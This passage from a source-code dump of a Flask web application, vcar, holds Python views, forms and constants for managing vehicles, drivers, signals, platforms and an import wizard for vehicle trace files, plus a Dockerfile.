form=form)\n\n# -------------------- /carboard/driver/id/edit : Edit driver ----------------- #\n\n\[email protected]('/driver/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editDriver(id):\n \"\"\" Edit existing driver \"\"\"\n driver = Driver.query.get_or_404(id)\n oldAvatar = driver.avatar\n\n form = DriverForm(obj=driver)\n form.user_id.choices = choices(User, 'Select a user', 1, 'username')\n form.country_id.choices = choices(Country, 'Select a country', 1, 'title')\n form.status_id.choices = choices(Status, 'Select a status', False, 'title')\n\n if form.validate_on_submit():\n form.populate_obj(driver)\n avatar = upload_file(form.avatar.data, DRIVER_LOGO_DIR)\n if avatar is None:\n driver.avatar = oldAvatar\n else:\n driver.avatar = avatar\n db.session.commit()\n flash('Driver {}, updated successfully.'.format(form.fullname.data), 'success')\n return redirect(url_for('carboard.showDriver', id=id))\n\n return render_template('carboard/driver/edit.html', form=form, id=id)\n\n# ------------------ /carboard/driver/id/delete : Delete driver --------------- #\n\n\[email protected]('/driver/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleDriver(id):\n driver = Driver.query.get_or_404(id)\n # getattr(driver, 'status', 0)\n status = driver.status if driver.status is not None else 0\n driver.status = 1 - status\n db.session.commit()\n msg = 'activated' if driver.status is 1 else 'deactivated'\n flash('Driver {}, {} successfully.'.format(driver.fullname, msg), 'success')\n return redirect(url_for('carboard.indexDriver'))\n\n# ------------------ /carboard/driver/id/delete : Delete driver --------------- #\n\n\[email protected]('/driver/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteDriver(id):\n driver = Driver.query.get_or_404(id)\n db.session.delete(driver)\n db.session.commit()\n flash('Driver {}, deleted successfully.'.format(driver.fullname), 'success')\n return redirect(url_for('carboard.indexDriver'))\n" }, { "alpha_fraction": 0.6800000071525574, "alphanum_fraction": 0.6800000071525574, "avg_line_length": 20.428571701049805, "blob_id": "bfb43119f76439252d4f55db210f1403a8fb5805", "content_id": "d0d8ec73d88f57b5fb830fa1c72f0e13fa7a08fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 150, "license_type": "no_license", "max_line_length": 59, "num_lines": 7, "path": "/app/api/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import Blueprint\n\n\"\"\"\n This package should represent the vCar API main package\n\"\"\"\n\napi = Blueprint('api', __name__, url_prefix='/api')\n" }, { "alpha_fraction": 0.4884667694568634, "alphanum_fraction": 0.49027588963508606, "avg_line_length": 23.032608032226562, "blob_id": "51d0cccc49c50e86a49b6572f29b0fc52104c7f3", "content_id": "06b35595815ddad9665e3bcac4a2b7d5a24599f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2211, "license_type": "no_license", "max_line_length": 91, "num_lines": 92, "path": "/app/carboard/forms/record.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom flask_wtf.file import FileAllowed, FileField\nfrom wtforms import StringField, SelectField, DateTimeField\nfrom wtforms.validators import Optional, DataRequired, Regexp, Length\n\nfrom ..models.record import Record\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef vehicle_exist(form, field):\n if Record.select().where(Record.name == field.data).exists():\n raise ValidationError('Record already exists !')\n\n# ---------------------------- Record form classes ---------------------------- #\n\nclass RecordForm(FlaskForm):\n \"\"\" Record add/edit FlaskForm \"\"\"\n trace = FileField(\n 'Record trace file', validators=[\n DataRequired(),\n FileAllowed(['json', 'txt', 'xml', 'csv', 'xsl'], 'File extension not allowed')\n ]\n )\n name = StringField(\n 'Name',\n validators=[\n Optional(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z ]+$',\n message=(\"Brand name is not correct !\")\n ),\n ]\n )\n user_id = SelectField(\n 'User',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n drivetype_id = SelectField(\n 'Drive Type',\n coerce=int,\n validators=[\n Optional(),\n ]\n )\n driver_id = SelectField(\n 'Driver',\n coerce=int, # str\n validators=[\n Optional(),\n ]\n )\n vehicle_id = SelectField(\n 'Driver',\n coerce=int, # str\n validators=[\n Optional(),\n ]\n )\n start = DateTimeField(\n 'Starting record at',\n validators=[\n Optional(),\n ]\n )\n end = DateTimeField(\n 'End record at',\n validators=[\n Optional(),\n ]\n )\n description = StringField(\n 'Description',\n validators=[\n Optional(),\n Length(min=3),\n ]\n )\n\nclass RecordStatusForm(FlaskForm):\n \"\"\" Edit vehicle status FlaskForm \"\"\"\n status_id = SelectField(\n 'Status',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n" }, { "alpha_fraction": 0.6349206566810608, "alphanum_fraction": 0.6349206566810608, "avg_line_length": 14.25, "blob_id": "17268a0b2139b10abfe52b741d4ae754b9aca411", "content_id": "feaea50a20548f560cb48d9bb0a912f992060b9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 63, "license_type": "no_license", "max_line_length": 23, "num_lines": 4, "path": "/app/importer/platforms/openxc/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .views import help\r\n\r\ndef init():\r\n\treturn 'init text ...'" }, { "alpha_fraction": 0.6328259706497192, "alphanum_fraction": 0.6365918517112732, "avg_line_length": 39.08176040649414, "blob_id": "702c4ae983c9361fc2e46e6e939957a9a2106eca", "content_id": "ce68efdae9e2dabbe07658fa45efb3c341865e52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6373, "license_type": "no_license", "max_line_length": 115, "num_lines": 159, "path": "/app/carboard/views/extrasignal.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\n\nfrom flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\nfrom sqlalchemy import or_\n\nfrom app.carboard.forms.filesignal import FileSignalForm\nfrom . import carboard\nfrom ..models.extrasignal import Extrasignal\nfrom ..models.signal import Signal\nfrom ..models.platform import Platform\nfrom ..forms.extrasignal import ExtrasignalForm\nfrom ..helpers import paginate, choices, remove_csv, find_id, CSVLoader, upload_csv, platform_choices\nfrom ..constants import PER_PAGE, CSV_TEMP\nfrom ...extensions import db\n\n# --------------------- /carboard/extrasignal/ : List of extrasignals ------------- #\n\[email protected]('/extrasignal/')\n@login_required\ndef indexExtrasignal():\n extrasignals = Extrasignal.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n start = (request.args.get('page', 1, type=int) - 1) * PER_PAGE + 1\n return render_template('carboard/extrasignal/index.html', extrasignals=extrasignals,start=start)\n\n# ----------------------- /carboard/extrasignal/id : Show extrasignal ------------------- #\n\n\[email protected]('/extrasignal/<int:id>', methods=['GET'])\n@login_required\ndef showExtrasignal(id):\n extrasignal = Extrasignal.query.get_or_404(id)\n return render_template('carboard/extrasignal/show.html', extrasignal=extrasignal)\n\n# ---------------------- /carboard/extrasignal/new : Add extrasignal -------------------- #\n\n\[email protected]('/extrasignal/new', methods=['GET', 'POST'])\n@login_required\ndef newExtrasignal():\n \"\"\" Add new extrasignal \"\"\"\n\n form = ExtrasignalForm()\n form.signal_id.choices = choices(Signal, 'Select main signal', 1)\n form.storage.choices = platform_choices('Select a Data Storage', 'name')\n\n if form.validate_on_submit():\n extrasignal = Extrasignal(\n name=form.name.data,\n signal_id=form.signal_id.data,\n storage=form.storage.data,\n )\n db.session.add(extrasignal)\n db.session.commit()\n flash('Extra signal {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexExtrasignal'))\n\n return render_template('carboard/extrasignal/new.html', form=form)\n\n#------------------------- /carboard/extrasignal/bulk-add bulk add extra signals from file ------------------- #\n\[email protected]('/extrasignal/bulk-add', methods=['GET', 'POST'])\n@login_required\ndef bulkAddExtraSignal():\n \"\"\" Add new extrasignal \"\"\"\n form = FileSignalForm()\n errors = None\n if form.validate_on_submit():\n f = upload_csv(form.file.data, CSV_TEMP)\n loader = CSVLoader(os.path.join(CSV_TEMP, form.file.data.filename))\n res = loader.load()\n try:\n for row in res:\n signal_id = find_id(Signal, row['Main Signal'])\n storage = row['Data Storage']\n if signal_id == -1:\n if not errors: errors = [] # lazy instatiation\n errors.append('The Extra Signal ' + row[\n 'Signal Name'] + ' could not be added because of invalid Main Signal or Data Storage ')\n continue\n extraSignal = Extrasignal(\n name=row['Signal Name'],\n signal_id=signal_id ,\n storage=storage\n )\n db.session.add(extraSignal)\n db.session.commit()\n except KeyError:\n errors = ['Your file is Not well Formated, please review your file structure .']\n remove_csv(form.file.data.filename, CSV_TEMP)\n if not errors: flash('Signals Added Successfully !', 'success')\n return render_template('carboard/extrasignal/bulk.html', form=form, errors=errors)\n\n\n\n# -------------------- /carboard/extrasignal/id/edit : Edit extrasignal ----------------- #\n\n\[email protected]('/extrasignal/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editExtrasignal(id):\n \"\"\" Edit existing extrasignal \"\"\"\n extrasignal = Extrasignal.query.get_or_404(id)\n form = ExtrasignalForm(obj=extrasignal)\n form.signal_id.choices = choices(Signal, 'Select main signal', 1)\n form.storage.choices = platform_choices('Select a Data Storage','name')\n\n if form.validate_on_submit():\n form.populate_obj(extrasignal)\n print(form.data)\n db.session.commit()\n flash('Extra signal {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showExtrasignal', id=id))\n\n return render_template('carboard/extrasignal/edit.html', form=form, id=id)\n\n# ------------------ /carboard/extrasignal/id/delete : Delete extrasignal --------------- #\n\n\[email protected]('/extrasignal/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleExtrasignal(id):\n extrasignal = Extrasignal.query.get_or_404(id)\n # getattr(extrasignal, 'status', 0)\n status = extrasignal.status if extrasignal.status is not None else 0\n extrasignal.status = 1 - status\n db.session.commit()\n msg = 'activated' if extrasignal.status is 1 else 'deactivated'\n flash('Extra signal {}, {} successfully.'.format(extrasignal.name, msg), 'success')\n return redirect(url_for('carboard.indexExtrasignal'))\n\n# ------------------ /carboard/extrasignal/id/delete : Delete extrasignal --------------- #\n\n\[email protected]('/extrasignal/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteExtrasignal(id):\n extrasignal = Extrasignal.query.get_or_404(id)\n db.session.delete(extrasignal)\n db.session.commit()\n flash('Extra signal {}, deleted successfully.'.format(extrasignal.name), 'success')\n return redirect(url_for('carboard.indexExtrasignal'))\n\n# ------------------ /carboard/extrasignal/search : extra signal lookup (by description or name) --------------- #\n\[email protected]('/extrasignal/search', methods=['GET'])\n@login_required\ndef searchExtraSignal():\n param = request.args.get('table_search')\n extrasignals = Extrasignal.query.filter(Extrasignal.name.like('%' + param + '%')).paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/extrasignal/search.html', extrasignals=extrasignals)\n" }, { "alpha_fraction": 0.5466330051422119, "alphanum_fraction": 0.5480639934539795, "avg_line_length": 35.33027648925781, "blob_id": "6cbba07a41afa307137a7af23c94b47ef989dca4", "content_id": "5a262b629069bde373b6089ed9c00a1f6d66eaa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11880, "license_type": "no_license", "max_line_length": 85, "num_lines": 327, "path": "/app/importer/views.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import json\nfrom os.path import basename\nfrom importlib import import_module\nfrom threading import Thread\nfrom flask import (\n Blueprint, Response, render_template, request, session, flash, redirect, url_for\n)\nfrom flask_login import (\n login_user, logout_user, login_required, current_user\n)\n\n# import .platforms.openxc.views\nfrom ..extensions import db\nfrom ..carboard.models.platform import Platform\nfrom ..carboard.models.vehicle import Vehicle\nfrom ..carboard.models.driver import Driver\nfrom ..carboard.models.brand import Brand\nfrom ..carboard.models.model import Model\nfrom ..carboard.models.country import Country\nfrom ..carboard.models.status import Status\nfrom ..carboard.models.file import File\n\nfrom .helpers import checkSteps, choices, upload_file, upload_trace\nfrom .forms import VehicleForm, DriverForm\nfrom .transformer import Transformer\nfrom .constants import VEHICLE_LOGO_DIR, DRIVER_LOGO_DIR\n\nfrom .platforms.openxc.indexing import task_info\n\nimporter = Blueprint('importer', __name__, url_prefix='/carboard/import')\n\n\n# -------------------- /stream : Redis stream server ------------------------ #\n\[email protected]('/stream')\ndef stream():\n return Response(task_info(), mimetype=\"text/event-stream\")\n\n# -------------------- / : Introduce import wizard -------------------------- #\n\n\[email protected]('/')\n@login_required\ndef index():\n \"\"\" Import index page, containe wellcome text \"\"\"\n return render_template('importer/index.html')\n\n# -------------------- /platform : Choose platform -------------------------- #\n\n\[email protected]('/platform', methods=['GET', 'POST'])\n@login_required\ndef platform():\n \"\"\"Select upload files platform in order to process indexing correctly\"\"\"\n platforms = Platform.query.filter_by(status=1).all()\n if request.method == 'POST':\n wizard_platform = request.form.get('platform', False)\n if wizard_platform is not False:\n session['import'] = {}\n session['import']['user'] = current_user.id\n session['import']['platform'] = int(request.form['platform'])\n session.modified = True\n return redirect(url_for('importer.vehicle'))\n else:\n session['import'] = {}\n session.modified = True\n # session.clear();\n return render_template('importer/platform.html', platforms=platforms)\n\n# -------------------- /vehicle : Choose or add a vehicle ------------------- #\n\n\[email protected]('/vehicle', methods=['GET', 'POST'])\n@login_required\ndef vehicle():\n \"\"\"Select or Add the vehicle used to generate traces\"\"\"\n check = checkSteps(step=1)\n if check is True:\n # Preparing data\n vehicle_selected = False\n vehicles = Vehicle.query.filter_by(\n user_id=current_user.id, status_id=1).all()\n form = VehicleForm()\n form.brand_id.choices = choices(Brand, 'Select a brand')\n form.model_id.choices = choices(Model, 'Select a model')\n\n # Geting selected vehicle if any\n if request.method == 'POST':\n wizard_vehicle = request.form.get('vehicle', False)\n if wizard_vehicle is not False:\n session['import']['vehicle'] = int(request.form['vehicle'])\n session.modified = True\n vehicle_selected = True\n return redirect(url_for('importer.driver'))\n\n # Adding a new vehicle if any\n if vehicle_selected is False and form.validate_on_submit():\n image = upload_file(form.image.data, VEHICLE_LOGO_DIR)\n vehicle = Vehicle(\n user_id=current_user.id,\n brand_id=form.brand_id.data,\n model_id=form.model_id.data,\n image=image\n )\n db.session.add(vehicle)\n db.session.commit()\n session['import']['vehicle'] = vehicle.id\n session.modified = True\n flash('Vehicle {}, added successfully.'.format(vehicle), 'success')\n return redirect(url_for('importer.driver'))\n\n # Rendring view template\n return render_template(\n 'importer/vehicle.html',\n vehicles=vehicles,\n form=form\n )\n else:\n return check\n\n\n# -------------------- /driver : Choose or add a driver --------------------- #\n\[email protected]('/driver', methods=['GET', 'POST'])\n@login_required\ndef driver():\n \"\"\"Select or Add the driver\"\"\"\n check = checkSteps(step=2)\n if check is True:\n # preparing data\n driver_selected = False\n drivers = Driver.query.filter_by(\n user_id=current_user.id, status_id=1).all()\n form = DriverForm()\n form.country_id.choices = choices(\n Country, 'Select a country', 1, 'title')\n form.status_id.choices = choices(\n Status, 'Select a status', False, 'title')\n # geting selected vehicle if any\n if request.method == 'POST':\n wizard_driver = request.form.get('driver', False)\n if wizard_driver is not False:\n session['import']['driver'] = int(request.form['driver'])\n session.modified = True\n driver_selected = True\n return redirect(url_for('importer.records'))\n # # adding a new vehicle if any\n if driver_selected is False and form.validate_on_submit():\n avatar = upload_file(form.avatar.data, DRIVER_LOGO_DIR)\n driver = Driver(\n gender=form.gender.data,\n fullname=form.fullname.data,\n user_id=current_user.id,\n status_id=form.status_id.data,\n country_id=form.country_id.data,\n city=form.city.data,\n avatar=avatar\n )\n db.session.add(driver)\n db.session.commit()\n session['import']['driver'] = driver.id\n session.modified = True\n flash('Driver {}, added successfully.'.format(driver), 'success')\n return redirect(url_for('importer.records'))\n\n return render_template(\n 'importer/driver.html',\n drivers=drivers,\n form=form\n )\n else:\n return check\n\n# -------------------- /records : Uplaod and process record files ----------- #\n\n\[email protected]('/records', methods=['GET', 'POST'])\n@login_required\ndef records():\n check = checkSteps(step=3)\n if check is True:\n if request.method == 'POST':\n files = request.form.getlist('files')\n if files:\n \"\"\"\n Process data indexing using the python module associated\n with the selected platform.\n Every platform folder should containe a module named: indexing.py\n \"\"\"\n try:\n # Get the platform slug a.k.a module name\n slug = Platform.query.get_or_404(\n session['import']['platform']).slug\n # Import the module\n mod = import_module(\n \".indexing\", 'app.importer.platforms.' + slug)\n # Indexing function\n index_function = 'index_bulk' # 'index'\n # get a reference to the init function\n init = getattr(mod, index_function)\n # create a threaded job to index uploaded data according to\n # it's platform\n thread = Thread(target=init, args=[files, session['import']])\n # thread.daemon = True\n thread.start()\n # thread.join(1)\n # print(active_count())\n flash('Your records are being indexed in background.', 'info')\n return redirect(url_for('carboard.index'))\n except:\n raise\n else:\n session['import']['files'] = []\n session.modified = True\n flash('Please upload some files', 'success')\n return redirect(url_for('importer.records'))\n\n return render_template('importer/records.html')\n else:\n return check\n\n# -------------------- /records : Uplaod record files ----------------------- #\n\n\[email protected]('/getfile', methods=['POST'])\n@login_required\ndef getfile():\n \"\"\" Import trace files\"\"\"\n if request.method == 'POST':\n uploaded_file = upload_trace('openxc', current_user.id)\n if uploaded_file['status'] is True:\n file = File(\n user_id=current_user.id,\n filename=basename(uploaded_file['message']),\n path=uploaded_file['message']\n )\n db.session.add(file)\n db.session.commit()\n\n if \"files\" in session['import']:\n files = session['import']['files']\n else:\n files = []\n files.append(uploaded_file['message'])\n session['import']['files'] = files\n session.modified = True\n return json.dumps(uploaded_file)\n\n# -------------------- /process : index files using elasticsearch ----------- #\n\n\[email protected]('/records', methods=['GET', 'POST'])\n@login_required\ndef process():\n \"\"\"\n Process data indexing using the python module associated\n with the selected platform.\n Every platform folder should containe a module named: indexing.py\n \"\"\"\n if request.method == 'POST':\n files = request.form.getlist('files')\n if files:\n try:\n # Get the platform slug a.k.a module name\n slug = Platform.query.get_or_404(\n session['import']['platform']).slug\n # Import the module\n mod = import_module(\n \".indexing\", 'app.importer.platforms.' + slug)\n # Indexing function\n index_function = 'index_bulk' # 'index'\n # get a reference to the init function\n init = getattr(mod, index_function)\n # create a threaded job to index uploaded data according to\n # it's platform\n\n thread = Thread(target=init, args=[files, session['import']])\n # thread.daemon = True\n thread.start()\n # thread.join(1)\n # print(active_count())\n except:\n raise\n else:\n session['import']['files'] = []\n session.modified = True\n flash('Please upload some files before getting here', 'success')\n return redirect(url_for('importer.records'))\n\n return render_template('importer/porcess.html')\n\n# -------------------- /carboard/user/id : Show user ------------------------ #\n\n\[email protected]('/help', methods=['GET'])\ndef help():\n # endpoints = [rule.rule for rule in app.url_map.iter_rules()\n # if rule.endpoint !='static']\n # return jsonify(dict(api_endpoints=endpoints))\n # return render_template('dashboard/import/openxc_porcess.html')\n tr = Transformer()\n tr.setPlatformById(1)\n a = 'Speeda'\n x = tr.getInfo(a, ignore=False)\n raise\n\n\ndef dispatcher(data=None):\n pass\n # if data:\n #\n # else:\n # return None\n #\n # if request.method == 'POST':\n # files = request.form.getlist('files')\n # if files:\n # thread = Thread(target=openxc_task, args=[traces, current_user.id])\n # thread.daemon = True\n # thread.start()\n # # thread.join(1)\n # # print(active_count())\n # raise\n # else:\n # session['import']['files'] = []\n # flash('Please upload some files before getting here', 'success')\n # return redirect(url_for('importer.records'))\n" }, { "alpha_fraction": 0.5230333209037781, "alphanum_fraction": 0.525159478187561, "avg_line_length": 25.62264060974121, "blob_id": "0a0096ed919569ef213be445d70a3cd8b0e4ead4", "content_id": "d167976bd5667c28778f3ede3be2a62e536a58c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1411, "license_type": "no_license", "max_line_length": 83, "num_lines": 53, "path": "/app/carboard/forms/platform.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom flask_wtf.file import FileAllowed, FileField\nfrom wtforms import StringField, SelectField\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.platform import Platform\nfrom ..constants import MIMETYPE\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef platform_exist(form, field):\n if Platform.select().where(Platform.name == field.data).exists():\n raise ValidationError('Platform already exists !')\n\n# ---------------------------- Platform form classes ---------------------------- #\n\n\nclass PlatformForm(FlaskForm):\n \"\"\" Platform add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z_\\- ]+$',\n message=(\"Platform name is not correct !\")\n ),\n ]\n )\n mimetype = SelectField(\n 'Data format',\n coerce=int,\n choices=MIMETYPE,\n validators=[\n DataRequired(),\n ]\n )\n description = StringField(\n 'Description',\n validators=[\n DataRequired(),\n ]\n )\n website = StringField(\n 'Website',\n )\n logo = FileField(\n 'Logo', validators=[\n FileAllowed(['jpg', 'jpeg', 'png', 'gif'], 'Images only plz :) ')\n ]\n )\n" }, { "alpha_fraction": 0.508369505405426, "alphanum_fraction": 0.5133292078971863, "avg_line_length": 20.223684310913086, "blob_id": "1afd27ce488394be7509657efff571d51642310f", "content_id": "a32614f3b7d93dbc5c64fb2e55cd78783a6257fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1613, "license_type": "no_license", "max_line_length": 81, "num_lines": 76, "path": "/app/carboard/forms/signal.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, SelectField, TextAreaField\nfrom wtforms.validators import DataRequired, Regexp, Length, ValidationError\n\nfrom ..models.signal import Signal\n\n\n# ------------------------ custom validation methods ------------------------ #\n\ndef signal_exist(form, field):\n if Signal.select().where(Signal.name == field.data).exists():\n raise ValidationError('Attribute already exists !')\n\n\n# ---------------------------- Driver form classes ---------------------------- #\n\n\nclass SignalForm(FlaskForm):\n \"\"\" Signal add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n # signal_exist()\n ]\n )\n\n type = SelectField(\n 'Type',\n validators=[\n DataRequired()\n ]\n )\n\n unit = StringField(\n 'Unit'\n )\n\n min_value = StringField(\n 'no_min_value'\n )\n max_value = StringField(\n 'no_max_value'\n )\n\n number = StringField(\n 'no-number'\n )\n\n values = StringField(\n 'no-values'\n )\n frequency = StringField(\n 'Frequency'\n )\n description = TextAreaField(\n 'Description',\n validators=[\n Length(min=0, max=1000)\n ]\n )\n signalclass_id = SelectField(\n 'Signal class',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n signalsource_id = SelectField(\n 'Signal source',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n" }, { "alpha_fraction": 0.4173261225223541, "alphanum_fraction": 0.43315285444259644, "avg_line_length": 23.75257682800293, "blob_id": "53142acbb4f33736aa6a2f31295a913cd30179fe", "content_id": "b0cbaabd2950d064683dc22e57395835c1f7ac2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2401, "license_type": "no_license", "max_line_length": 79, "num_lines": 97, "path": "/app/importer/constants.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\nfrom config.config import DefaultConfig\n# ----------------------------- Database constants -------------------------- #\nMAPPING = {\n \"platform\": {\n \"properties\": {\n \"user\": {\n \"type\": \"integer\"\n },\n \"vehicle\": {\n \"type\": \"integer\"\n },\n \"driver\": {\n \"type\": \"integer\"\n },\n \"class\": {\n \"type\": \"string\"\n },\n \"name\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\"\n },\n \"value\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\"\n },\n \"timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n}\n\n\n# ----------------------------- Database constants -------------------------- #\nSTRING_LEN = 255\n# ----------------------------- Default constants --------------------------- #\nDEFAULT_AVATAR = \"default.jpg\"\nDEFAULT_YEAR_ID = 1\nDEFAULT_MODEL_ID = 1\n# -------------------------------- User role -------------------------------- #\nUSER = 0\nADMIN = 1\nRESEARCHER = 2\nUSER_ROLES = [\n (0, 'Select an option ...'),\n (1, 'ADMIN'),\n (2, 'USER'),\n (3, 'Driver')\n]\n# ------------------------------- User status ------------------------------- #\nDEFAULT_STATUS = 1\nACTIVE = 1\nINACTIVE = 0\nUSER_STATUS = {\n INACTIVE: 'inactive',\n ACTIVE: 'active',\n}\n# ----------------------- Form validation configuration --------------------- #\nUSERNAME_LEN_MIN = 4\nUSERNAME_LEN_MAX = 25\n\nFULLNAME_LEN_MIN = 4\nFULLNAME_LEN_MAX = 25\n\nPASSWORD_LEN_MIN = 4\nPASSWORD_LEN_MAX = 16\n\nAGE_MIN = 1\nAGE_MAX = 100\n\nMALE = 1\nFEMALE = 2\nSEX_TYPE = {\n MALE: 'Male',\n FEMALE: 'Female',\n}\nDRIVER_GENDER = [\n (0, 'Select a gender'),\n (1, 'Male'),\n (2, 'Female'),\n (3, 'Unknown')\n]\n# ------------------------------ View constants ----------------------------- #\nPER_HOME_PAGE = 10\nPER_PAGE = 20\nUSER_LOGO_DIR = 'static/uploads/avatars/'\nBRAND_LOGO_DIR = 'static/uploads/brands/'\nPLATFORM_LOGO_DIR = 'static/uploads/platforms/'\nDRIVER_LOGO_DIR = 'static/uploads/drivers/'\nVEHICLE_LOGO_DIR = 'static/uploads/vehicles/'\nDRIVE_FILES_DIR = 'static/uploads/records/'\n\n\n# Trace upload directory\nUPLOAD_TRACE_DIR = os.path.join(DefaultConfig.UPLOAD_DIR, 'files')\nALLOWED_TRACE_EXTENSIONS = set(['txt', 'json', 'pdf', 'gif'])\n" }, { "alpha_fraction": 0.7513368725776672, "alphanum_fraction": 0.7700534462928772, "avg_line_length": 40.66666793823242, "blob_id": "047079874ee9e6a027cadb528e55b22eed70402e", "content_id": "1d6641178a6ae0b5ef4e73330ac1377c98dc1767", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 374, "license_type": "no_license", "max_line_length": 92, "num_lines": 9, "path": "/Dockerfile", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "FROM python:2.7-alpine\nLABEL maintainer=\"[email protected]\"\nRUN apk --update add libxml2-dev libxslt-dev libffi-dev gcc musl-dev libgcc openssl-dev curl\nRUN apk add jpeg-dev zlib-dev freetype-dev lcms2-dev openjpeg-dev tiff-dev tk-dev tcl-dev\n# ADD . /vcar\nCOPY ./requirements2.txt /vcar/requirements2.txt\nWORKDIR /vcar\nRUN pip install -r requirements2.txt\nCMD [\"python\", \"manage.py\"]" }, { "alpha_fraction": 0.5580233931541443, "alphanum_fraction": 0.5610461235046387, "avg_line_length": 31.517093658447266, "blob_id": "e064d32e8376fb14ee96ff6366567c2f8d5c90c7", "content_id": "12a896ab3f837480e33f753aad6f390a829476b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7609, "license_type": "no_license", "max_line_length": 85, "num_lines": 234, "path": "/app/importer/views_org.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import (\n login_user, logout_user, login_required, current_user\n)\n\nfrom . import carboard\nfrom ..models.user import User\nfrom ..forms.user import UserForm, LoginForm, RegisterForm\nfrom ..helpers import paginate, upload_file\nfrom ..constants import PER_PAGE, USER_LOGO_DIR\nfrom ...extensions import db\n\n\n# --------------------- /carboard/user/ : List of users ------------------ #\n\[email protected]('/user/')\n@login_required\ndef indexUser():\n users = User.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/user/index.html', users=users)\n\n# ----------------------- /carboard/user/id : Show user ------------------- #\n\n\[email protected]('/user/<int:id>', methods=['GET'])\n@login_required\ndef showUser(id):\n user = User.query.get_or_404(id)\n return render_template('carboard/user/show.html', user=user)\n\n# ---------------------- /carboard/user/new : Add user -------------------- #\n\n\[email protected]('/user/new', methods=['GET', 'POST'])\n@login_required\ndef newUser():\n \"\"\" Add new user \"\"\"\n\n form = UserForm()\n\n if form.validate_on_submit():\n avatar = upload_file(form.avatar.data, USER_LOGO_DIR)\n user = User(\n fullname=form.fullname.data,\n username=form.username.data,\n email=form.email.data,\n password=form.password.data,\n role=form.role.data,\n avatar=avatar\n )\n db.session.add(user)\n db.session.commit()\n flash('User {}, added successfully.'.format(form.username.data), 'success')\n return redirect(url_for('carboard.indexUser'))\n\n return render_template('carboard/user/new.html', form=form)\n\n# -------------------- /carboard/user/id/edit : Edit user ----------------- #\n\n\[email protected]('/user/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editUser(id):\n \"\"\" Edit existing user \"\"\"\n user = User.query.get_or_404(id)\n oldAvatar = user.avatar\n form = UserForm(obj=user)\n if form.validate_on_submit():\n form.populate_obj(user)\n user.set_password(form.password.data)\n avatar = upload_file(form.avatar.data, USER_LOGO_DIR)\n if avatar is None:\n user.avatar = oldAvatar\n else:\n user.avatar = avatar\n db.session.commit()\n flash('User {}, updated successfully.'.format(form.username.data), 'success')\n return redirect(url_for('carboard.showUser', id=id))\n\n return render_template('carboard/user/edit.html', form=form, id=id)\n\n# ------------------ /carboard/user/id/delete : Delete user --------------- #\n\n\[email protected]('/user/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleUser(id):\n user = User.query.get_or_404(id)\n # getattr(user, 'status', 0)\n status = user.status if user.status is not None else 0\n user.status = 1 - status\n db.session.commit()\n msg = 'activated' if user.status is 1 else 'deactivated'\n flash('User {}, {} successfully.'.format(user.username, msg), 'success')\n return redirect(url_for('carboard.indexUser'))\n\n# ------------------ /carboard/user/id/delete : Delete user --------------- #\n\n\[email protected]('/user/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteUser(id):\n user = 